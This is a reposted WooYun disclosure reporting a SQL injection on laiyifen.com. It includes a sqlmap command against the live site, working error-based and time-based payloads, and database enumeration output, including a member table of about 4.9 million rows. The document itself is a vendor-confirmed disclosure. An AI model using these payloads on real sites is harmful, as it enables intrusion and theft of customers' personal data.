来伊份主站报错SQL注入(涉及491万用户数据包括/身份证/电话/地址)

admin 2017年5月2日01:36:45评论320 views字数 228阅读0分45秒阅读模式
摘要

2016-03-09: 细节已通知厂商并且等待厂商处理中
2016-03-10: 厂商已经确认,细节仅向厂商公开
2016-03-20: 细节向核心白帽子及相关领域专家公开
2016-03-30: 细节向普通白帽子公开
2016-04-09: 细节向实习白帽子公开
2016-04-24: 细节向公众公开

漏洞概要 关注数(7) 关注此漏洞

缺陷编号: WooYun-2016-182528

漏洞标题: 来伊份主站报错SQL注入(涉及491万用户数据包括/身份证/电话/地址)

相关厂商: laiyifen.com

漏洞作者: sauce

提交时间: 2016-03-09 14:01

公开时间: 2016-04-24 11:39

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 18

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

0人收藏


漏洞详情

披露状态:

2016-03-09: 细节已通知厂商并且等待厂商处理中
2016-03-10: 厂商已经确认,细节仅向厂商公开
2016-03-20: 细节向核心白帽子及相关领域专家公开
2016-03-30: 细节向普通白帽子公开
2016-04-09: 细节向实习白帽子公开
2016-04-24: 细节向公众公开

简要描述:

rt 看见昨天有个来伊份注入上了走了大厂商
我也挖一个
就在主站 求首页

详细说明:

code 区域
python sqlmap.py -u "http://www.laiyifen.com/index.php/article*-zhifufangshi*_huodaofukuan*-lists*-11**.html" --dbs
code 区域
Parameter: #5* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://www.laiyifen.com:80/index.php/article-zhifufangshi_huodaofukuan-lists-11" AND (SELECT 3099 FROM(SELECT COUNT(*),CONCAT(0x7178767071,(SELECT (ELT(3099=3099,1))),0x71706b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "KCUu"="KCUu.html

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: http://www.laiyifen.com:80/index.php/article-zhifufangshi_huodaofukuan-lists-11" AND SLEEP(5) AND "vpCf"="vpCf.html
---
[13:01:06] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
[13:01:06] [INFO] fetching database names
[13:01:07] [INFO] the SQL query used returns 3 entries
[13:01:08] [INFO] retrieved: information_schema
[13:01:09] [INFO] retrieved: laiyifendb
[13:01:09] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] laiyifendb
[*] test
code 区域
[13:04:12] [INFO] the back-end DBMS is MySQL
[13:04:12] [INFO] fetching banner
[13:04:12] [INFO] resumed: 5.1.59 - ShopEX-MySQL-log
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
banner: '5.1.59 - ShopEX-MySQL-log'
[13:04:12] [INFO] fetching current user
[13:04:12] [INFO] resumed: %.%.%
current user: '%.%.%'
[13:04:12] [INFO] fetching current database
[13:04:12] [INFO] resumed: laiyifendb
current database: 'laiyifendb'
[13:04:12] [INFO] fetching server hostname
[13:04:12] [INFO] resumed: db1
hostname: 'db1'
[13:04:12] [INFO] testing if current user is DBA
[13:04:12] [INFO] fetching current user
current user is DBA: False
[13:04:13] [INFO] fetching database users
[13:04:13] [INFO] the SQL query used returns 1 entries
[13:04:13] [INFO] resumed: 'laiyifendb'@'10.%.%.%'
database management system users [1]:
[*] 'laiyifendb'@'10.%.%.%'

[20:17:05] [INFO] fetching entries for table 'sdb_b2c_members' in database 'laiyifendb' [20:17:08] [INFO] the SQL query used returns 4912874 entries

漏洞证明:

code 区域
python sqlmap.py -u "http://www.laiyifen.com/index.php/article*-zhifufangshi*_huodaofukuan*-lists*-11**.html" --dbs
code 区域
Parameter: #5* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://www.laiyifen.com:80/index.php/article-zhifufangshi_huodaofukuan-lists-11" AND (SELECT 3099 FROM(SELECT COUNT(*),CONCAT(0x7178767071,(SELECT (ELT(3099=3099,1))),0x71706b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "KCUu"="KCUu.html

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: http://www.laiyifen.com:80/index.php/article-zhifufangshi_huodaofukuan-lists-11" AND SLEEP(5) AND "vpCf"="vpCf.html
---
[13:01:06] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
[13:01:06] [INFO] fetching database names
[13:01:07] [INFO] the SQL query used returns 3 entries
[13:01:08] [INFO] retrieved: information_schema
[13:01:09] [INFO] retrieved: laiyifendb
[13:01:09] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] laiyifendb
[*] test
code 区域
[13:04:12] [INFO] the back-end DBMS is MySQL
[13:04:12] [INFO] fetching banner
[13:04:12] [INFO] resumed: 5.1.59 - ShopEX-MySQL-log
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
banner: '5.1.59 - ShopEX-MySQL-log'
[13:04:12] [INFO] fetching current user
[13:04:12] [INFO] resumed: %.%.%
current user: '%.%.%'
[13:04:12] [INFO] fetching current database
[13:04:12] [INFO] resumed: laiyifendb
current database: 'laiyifendb'
[13:04:12] [INFO] fetching server hostname
[13:04:12] [INFO] resumed: db1
hostname: 'db1'
[13:04:12] [INFO] testing if current user is DBA
[13:04:12] [INFO] fetching current user
current user is DBA: False
[13:04:13] [INFO] fetching database users
[13:04:13] [INFO] the SQL query used returns 1 entries
[13:04:13] [INFO] resumed: 'laiyifendb'@'10.%.%.%'
database management system users [1]:
[*] 'laiyifendb'@'10.%.%.%'

[20:17:05] [INFO] fetching entries for table 'sdb_b2c_members' in database 'laiyifendb' [20:17:08] [INFO] the SQL query used returns 4912874 entries

修复方案:

过滤

版权声明:转载请注明来源 sauce@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-03-10 11:39

厂商回复:

非常感谢您的支持,我们一同努力做好!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-09 14:23 | sauce ( 普通白帽子 | Rank:285 漏洞数:46 | 面向人民币编程)

    2

    。。走个大厂商怎么那么难 昨天的注入都走了大厂商 我这个主站的注入只走小厂商

  2. 2016-03-10 11:55 | sauce ( 普通白帽子 | Rank:285 漏洞数:46 | 面向人民币编程)

    1

    来一份吧 送点吃的多好

  3. 2016-03-10 13:05 | 方大核桃 ( 普通白帽子 | Rank:193 漏洞数:59 | 要怎么长大,才能赢过时间啊)

    1

    来一份主站报错SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin